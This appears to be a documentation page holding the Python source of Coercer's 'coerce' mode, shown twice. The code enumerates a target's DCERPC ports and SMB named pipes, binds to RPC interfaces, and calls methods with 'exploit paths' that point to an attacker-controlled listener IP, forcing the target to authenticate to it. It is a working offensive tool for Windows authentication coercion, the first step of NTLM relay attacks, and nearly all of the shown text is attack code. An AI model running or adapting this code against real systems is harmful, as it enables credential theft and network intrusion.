coercer.core.modes.coerce
1#!/usr/bin/env python3 2# -*- coding: utf-8 -*- 3# File name : coerce.py 4# Author : Podalirius (@podalirius_) 5# Date created : 18 Sep 2022 6 7 8import time 9from coercer.core.Filter import Filter 10from coercer.core.utils import generate_exploit_path_from_template 11from coercer.network.DCERPCSession import DCERPCSession 12from coercer.structures.TestResult import TestResult 13from coercer.network.authentications import trigger_authentication 14from coercer.network.smb import can_connect_to_pipe, can_bind_to_interface 15from coercer.network.rpc import portmap_discover, is_port_open, can_bind_to_interface_on_port 16 17 18def action_coerce(target, available_methods, options, credentials, reporter): 19 reporter.verbose = True 20 21 filter = Filter( 22 filter_method_name=options.filter_method_name, 23 filter_protocol_name=options.filter_protocol_name, 24 filter_pipe_name=options.filter_pipe_name 25 ) 26 27 # Preparing tasks ============================================================================================================== 28 29 if "dcerpc" in options.filter_transport_name: 30 if not options.dce_ports: 31 portmap = portmap_discover(target, options.dce_port) 32 else: 33 portmap = {} 34 tasks = {} 35 for method_type in available_methods.keys(): 36 for category in sorted(available_methods[method_type].keys()): 37 for method in sorted(available_methods[method_type][category].keys()): 38 instance = available_methods[method_type][category][method]["class"] 39 40 if filter.method_matches_filter(instance): 41 for access_type, access_methods in instance.access.items(): 42 if access_type not in tasks.keys(): 43 tasks[access_type] = {} 44 45 # Access through SMB named pipe 46 if access_type == "ncan_np": 47 for access_method in access_methods: 48 namedpipe, uuid, version = access_method["namedpipe"], access_method["uuid"], access_method["version"] 49 if namedpipe not in tasks[access_type].keys(): 50 tasks[access_type][namedpipe] = {} 51 52 if uuid not in tasks[access_type][namedpipe].keys(): 53 tasks[access_type][namedpipe][uuid] = {} 54 55 if version not in tasks[access_type][namedpipe][uuid].keys(): 56 tasks[access_type][namedpipe][uuid][version] = [] 57 58 if instance not in tasks[access_type][namedpipe][uuid][version]: 59 tasks[access_type][namedpipe][uuid][version].append(instance) 60 elif access_type == "ncacn_ip_tcp": 61 for access_method in access_methods: 62 uuid, version = access_method["uuid"], access_method["version"] 63 for port in options.dce_ports or portmap.get("ncacn_ip_tcp",{}).get("%s v%s"%(uuid.upper(),version),[]): 64 if port not in tasks[access_type].keys(): 65 tasks[access_type][port] = {} 66 67 if uuid not in tasks[access_type][port].keys(): 68 tasks[access_type][port][uuid] = {} 69 70 if version not in tasks[access_type][port][uuid].keys(): 71 tasks[access_type][port][uuid][version] = [] 72 73 if instance not in tasks[access_type][port][uuid][version]: 74 tasks[access_type][port][uuid][version].append(instance) 75 76 77 # Executing tasks ======================================================================================================================= 78 79 if options.verbose: 80 print("[+] Coercing '%s' to authenticate to '%s'" % (target, options.listener_ip)) 81 82 # Processing ncan_np tasks 83 if len(tasks.keys()) == 0: 84 return None 85 if "dcerpc" in options.filter_transport_name: 86 ncacn_ip_tcp_tasks = tasks.get("ncacn_ip_tcp", {}) 87 for port in sorted(ncacn_ip_tcp_tasks.keys()): 88 if is_port_open(target, port): 89 print("[+] DCERPC port '\x1b[1;94m%d\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % port) 90 for uuid in sorted(ncacn_ip_tcp_tasks[port].keys()): 91 for version in sorted(ncacn_ip_tcp_tasks[port][uuid].keys()): 92 if can_bind_to_interface_on_port(target, port, credentials, uuid, version): 93 print(" [+] Successful bind to interface (%s, %s)!" % (uuid, version)) 94 for msprotocol_class in sorted(ncacn_ip_tcp_tasks[port][uuid][version], key=lambda x:x.function["name"]): 95 96 exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type) 97 98 stop_exploiting_this_function = False 99 for listener_type, exploitpath in exploit_paths: 100 if stop_exploiting_this_function: 101 # Got a nca_s_unk_if response, this function does not listen on the given interface 102 continue 103 104 exploitpath = generate_exploit_path_from_template( 105 template=exploitpath, 106 listener=options.listener_ip, 107 http_listen_port=options.http_port, 108 smb_listen_port=options.smb_port 109 ) 110 111 msprotocol_rpc_instance = msprotocol_class(path=exploitpath) 112 dcerpc = DCERPCSession(credentials=credentials, verbose=True) 113 dcerpc.connect_ncacn_ip_tcp(target=target, port=port) 114 if dcerpc.session is not None: 115 dcerpc.bind(interface_uuid=uuid, interface_version=version) 116 if dcerpc.session is not None: 117 reporter.print_testing(msprotocol_rpc_instance) 118 119 result = trigger_authentication( 120 dcerpc_session=dcerpc.session, 121 target=target, 122 method_trigger_function=msprotocol_rpc_instance.trigger 123 ) 124 125 reporter.report_test_result( 126 uuid=uuid, version=version, namedpipe="", 127 msprotocol_rpc_instance=msprotocol_rpc_instance, 128 result=result, 129 exploitpath=exploitpath 130 ) 131 132 if result == TestResult.NCA_S_UNK_IF: 133 stop_exploiting_this_function = True 134 135 if options.delay is not None: 136 # Sleep between attempts 137 time.sleep(options.delay) 138 139 if not options.always_continue: 140 next_action_answer = None 141 while next_action_answer not in ["C","S","X"]: 142 next_action_answer = input("Continue (C) | Skip this function (S) | Stop exploitation (X) ? ") 143 if len(next_action_answer) > 0: 144 next_action_answer = next_action_answer.strip()[0].upper() 145 if next_action_answer == "C": 146 pass 147 elif next_action_answer == "S": 148 stop_exploiting_this_function = True 149 elif next_action_answer == "X": 150 return None 151 else: 152 if options.verbose: 153 print(" [!] Cannot bind to interface (%s, %s)!" % (uuid, version)) 154 else: 155 if options.verbose: 156 print("[!] DCERPC port '\x1b[1;94m%d\x1b[0m' is \x1b[1;91mclosed\x1b[0m!" % port) 157 158 if "msrpc" in options.filter_transport_name: 159 ncan_np_tasks = tasks["ncan_np"] 160 for namedpipe in sorted(ncan_np_tasks.keys()): 161 if can_connect_to_pipe(target, namedpipe, credentials): 162 print("[+] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % namedpipe) 163 for uuid in sorted(ncan_np_tasks[namedpipe].keys()): 164 for version in sorted(ncan_np_tasks[namedpipe][uuid].keys()): 165 if can_bind_to_interface(target, namedpipe, credentials, uuid, version): 166 print(" [+] Successful bind to interface (%s, %s)!" % (uuid, version)) 167 for msprotocol_class in sorted(ncan_np_tasks[namedpipe][uuid][version], key=lambda x:x.function["name"]): 168 169 exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type) 170 171 stop_exploiting_this_function = False 172 for listener_type, exploitpath in exploit_paths: 173 if stop_exploiting_this_function: 174 # Got a nca_s_unk_if response, this function does not listen on the given interface 175 continue 176 177 exploitpath = generate_exploit_path_from_template( 178 template=exploitpath, 179 listener=options.listener_ip, 180 http_listen_port=options.http_port, 181 smb_listen_port=options.smb_port 182 ) 183 184 msprotocol_rpc_instance = msprotocol_class(path=exploitpath) 185 dcerpc = DCERPCSession(credentials=credentials, verbose=True) 186 dcerpc.connect_ncacn_np(target=target, pipe=namedpipe) 187 188 if dcerpc.session is not None: 189 dcerpc.bind(interface_uuid=uuid, interface_version=version) 190 if dcerpc.session is not None: 191 reporter.print_testing(msprotocol_rpc_instance) 192 193 result = trigger_authentication( 194 dcerpc_session=dcerpc.session, 195 target=target, 196 method_trigger_function=msprotocol_rpc_instance.trigger 197 ) 198 199 reporter.report_test_result( 200 uuid=uuid, version=version, namedpipe=namedpipe, 201 msprotocol_rpc_instance=msprotocol_rpc_instance, 202 result=result, 203 exploitpath=exploitpath 204 ) 205 206 if result == TestResult.NCA_S_UNK_IF: 207 stop_exploiting_this_function = True 208 209 if options.delay is not None: 210 # Sleep between attempts 211 time.sleep(options.delay) 212 213 if not options.always_continue: 214 next_action_answer = None 215 while next_action_answer not in ["C","S","X"]: 216 next_action_answer = input("Continue (C) | Skip this function (S) | Stop exploitation (X) ? ") 217 if len(next_action_answer) > 0: 218 next_action_answer = next_action_answer.strip()[0].upper() 219 if next_action_answer == "C": 220 pass 221 elif next_action_answer == "S": 222 stop_exploiting_this_function = True 223 elif next_action_answer == "X": 224 return None 225 else: 226 if options.verbose: 227 print(" [!] Cannot bind to interface (%s, %s)!" % (uuid, version)) 228 else: 229 if options.verbose: 230 print("[!] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;91mnot accessible\x1b[0m!" % namedpipe)
def
action_coerce(target, available_methods, options, credentials, reporter):
19def action_coerce(target, available_methods, options, credentials, reporter): 20 reporter.verbose = True 21 22 filter = Filter( 23 filter_method_name=options.filter_method_name, 24 filter_protocol_name=options.filter_protocol_name, 25 filter_pipe_name=options.filter_pipe_name 26 ) 27 28 # Preparing tasks ============================================================================================================== 29 30 if "dcerpc" in options.filter_transport_name: 31 if not options.dce_ports: 32 portmap = portmap_discover(target, options.dce_port) 33 else: 34 portmap = {} 35 tasks = {} 36 for method_type in available_methods.keys(): 37 for category in sorted(available_methods[method_type].keys()): 38 for method in sorted(available_methods[method_type][category].keys()): 39 instance = available_methods[method_type][category][method]["class"] 40 41 if filter.method_matches_filter(instance): 42 for access_type, access_methods in instance.access.items(): 43 if access_type not in tasks.keys(): 44 tasks[access_type] = {} 45 46 # Access through SMB named pipe 47 if access_type == "ncan_np": 48 for access_method in access_methods: 49 namedpipe, uuid, version = access_method["namedpipe"], access_method["uuid"], access_method["version"] 50 if namedpipe not in tasks[access_type].keys(): 51 tasks[access_type][namedpipe] = {} 52 53 if uuid not in tasks[access_type][namedpipe].keys(): 54 tasks[access_type][namedpipe][uuid] = {} 55 56 if version not in tasks[access_type][namedpipe][uuid].keys(): 57 tasks[access_type][namedpipe][uuid][version] = [] 58 59 if instance not in tasks[access_type][namedpipe][uuid][version]: 60 tasks[access_type][namedpipe][uuid][version].append(instance) 61 elif access_type == "ncacn_ip_tcp": 62 for access_method in access_methods: 63 uuid, version = access_method["uuid"], access_method["version"] 64 for port in options.dce_ports or portmap.get("ncacn_ip_tcp",{}).get("%s v%s"%(uuid.upper(),version),[]): 65 if port not in tasks[access_type].keys(): 66 tasks[access_type][port] = {} 67 68 if uuid not in tasks[access_type][port].keys(): 69 tasks[access_type][port][uuid] = {} 70 71 if version not in tasks[access_type][port][uuid].keys(): 72 tasks[access_type][port][uuid][version] = [] 73 74 if instance not in tasks[access_type][port][uuid][version]: 75 tasks[access_type][port][uuid][version].append(instance) 76 77 78 # Executing tasks ======================================================================================================================= 79 80 if options.verbose: 81 print("[+] Coercing '%s' to authenticate to '%s'" % (target, options.listener_ip)) 82 83 # Processing ncan_np tasks 84 if len(tasks.keys()) == 0: 85 return None 86 if "dcerpc" in options.filter_transport_name: 87 ncacn_ip_tcp_tasks = tasks.get("ncacn_ip_tcp", {}) 88 for port in sorted(ncacn_ip_tcp_tasks.keys()): 89 if is_port_open(target, port): 90 print("[+] DCERPC port '\x1b[1;94m%d\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % port) 91 for uuid in sorted(ncacn_ip_tcp_tasks[port].keys()): 92 for version in sorted(ncacn_ip_tcp_tasks[port][uuid].keys()): 93 if can_bind_to_interface_on_port(target, port, credentials, uuid, version): 94 print(" [+] Successful bind to interface (%s, %s)!" % (uuid, version)) 95 for msprotocol_class in sorted(ncacn_ip_tcp_tasks[port][uuid][version], key=lambda x:x.function["name"]): 96 97 exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type) 98 99 stop_exploiting_this_function = False 100 for listener_type, exploitpath in exploit_paths: 101 if stop_exploiting_this_function: 102 # Got a nca_s_unk_if response, this function does not listen on the given interface 103 continue 104 105 exploitpath = generate_exploit_path_from_template( 106 template=exploitpath, 107 listener=options.listener_ip, 108 http_listen_port=options.http_port, 109 smb_listen_port=options.smb_port 110 ) 111 112 msprotocol_rpc_instance = msprotocol_class(path=exploitpath) 113 dcerpc = DCERPCSession(credentials=credentials, verbose=True) 114 dcerpc.connect_ncacn_ip_tcp(target=target, port=port) 115 if dcerpc.session is not None: 116 dcerpc.bind(interface_uuid=uuid, interface_version=version) 117 if dcerpc.session is not None: 118 reporter.print_testing(msprotocol_rpc_instance) 119 120 result = trigger_authentication( 121 dcerpc_session=dcerpc.session, 122 target=target, 123 method_trigger_function=msprotocol_rpc_instance.trigger 124 ) 125 126 reporter.report_test_result( 127 uuid=uuid, version=version, namedpipe="", 128 msprotocol_rpc_instance=msprotocol_rpc_instance, 129 result=result, 130 exploitpath=exploitpath 131 ) 132 133 if result == TestResult.NCA_S_UNK_IF: 134 stop_exploiting_this_function = True 135 136 if options.delay is not None: 137 # Sleep between attempts 138 time.sleep(options.delay) 139 140 if not options.always_continue: 141 next_action_answer = None 142 while next_action_answer not in ["C","S","X"]: 143 next_action_answer = input("Continue (C) | Skip this function (S) | Stop exploitation (X) ? ") 144 if len(next_action_answer) > 0: 145 next_action_answer = next_action_answer.strip()[0].upper() 146 if next_action_answer == "C": 147 pass 148 elif next_action_answer == "S": 149 stop_exploiting_this_function = True 150 elif next_action_answer == "X": 151 return None 152 else: 153 if options.verbose: 154 print(" [!] Cannot bind to interface (%s, %s)!" % (uuid, version)) 155 else: 156 if options.verbose: 157 print("[!] DCERPC port '\x1b[1;94m%d\x1b[0m' is \x1b[1;91mclosed\x1b[0m!" % port) 158 159 if "msrpc" in options.filter_transport_name: 160 ncan_np_tasks = tasks["ncan_np"] 161 for namedpipe in sorted(ncan_np_tasks.keys()): 162 if can_connect_to_pipe(target, namedpipe, credentials): 163 print("[+] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % namedpipe) 164 for uuid in sorted(ncan_np_tasks[namedpipe].keys()): 165 for version in sorted(ncan_np_tasks[namedpipe][uuid].keys()): 166 if can_bind_to_interface(target, namedpipe, credentials, uuid, version): 167 print(" [+] Successful bind to interface (%s, %s)!" % (uuid, version)) 168 for msprotocol_class in sorted(ncan_np_tasks[namedpipe][uuid][version], key=lambda x:x.function["name"]): 169 170 exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type) 171 172 stop_exploiting_this_function = False 173 for listener_type, exploitpath in exploit_paths: 174 if stop_exploiting_this_function: 175 # Got a nca_s_unk_if response, this function does not listen on the given interface 176 continue 177 178 exploitpath = generate_exploit_path_from_template( 179 template=exploitpath, 180 listener=options.listener_ip, 181 http_listen_port=options.http_port, 182 smb_listen_port=options.smb_port 183 ) 184 185 msprotocol_rpc_instance = msprotocol_class(path=exploitpath) 186 dcerpc = DCERPCSession(credentials=credentials, verbose=True) 187 dcerpc.connect_ncacn_np(target=target, pipe=namedpipe) 188 189 if dcerpc.session is not None: 190 dcerpc.bind(interface_uuid=uuid, interface_version=version) 191 if dcerpc.session is not None: 192 reporter.print_testing(msprotocol_rpc_instance) 193 194 result = trigger_authentication( 195 dcerpc_session=dcerpc.session, 196 target=target, 197 method_trigger_function=msprotocol_rpc_instance.trigger 198 ) 199 200 reporter.report_test_result( 201 uuid=uuid, version=version, namedpipe=namedpipe, 202 msprotocol_rpc_instance=msprotocol_rpc_instance, 203 result=result, 204 exploitpath=exploitpath 205 ) 206 207 if result == TestResult.NCA_S_UNK_IF: 208 stop_exploiting_this_function = True 209 210 if options.delay is not None: 211 # Sleep between attempts 212 time.sleep(options.delay) 213 214 if not options.always_continue: 215 next_action_answer = None 216 while next_action_answer not in ["C","S","X"]: 217 next_action_answer = input("Continue (C) | Skip this function (S) | Stop exploitation (X) ? ") 218 if len(next_action_answer) > 0: 219 next_action_answer = next_action_answer.strip()[0].upper() 220 if next_action_answer == "C": 221 pass 222 elif next_action_answer == "S": 223 stop_exploiting_this_function = True 224 elif next_action_answer == "X": 225 return None 226 else: 227 if options.verbose: 228 print(" [!] Cannot bind to interface (%s, %s)!" % (uuid, version)) 229 else: 230 if options.verbose: 231 print("[!] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;91mnot accessible\x1b[0m!" % namedpipe)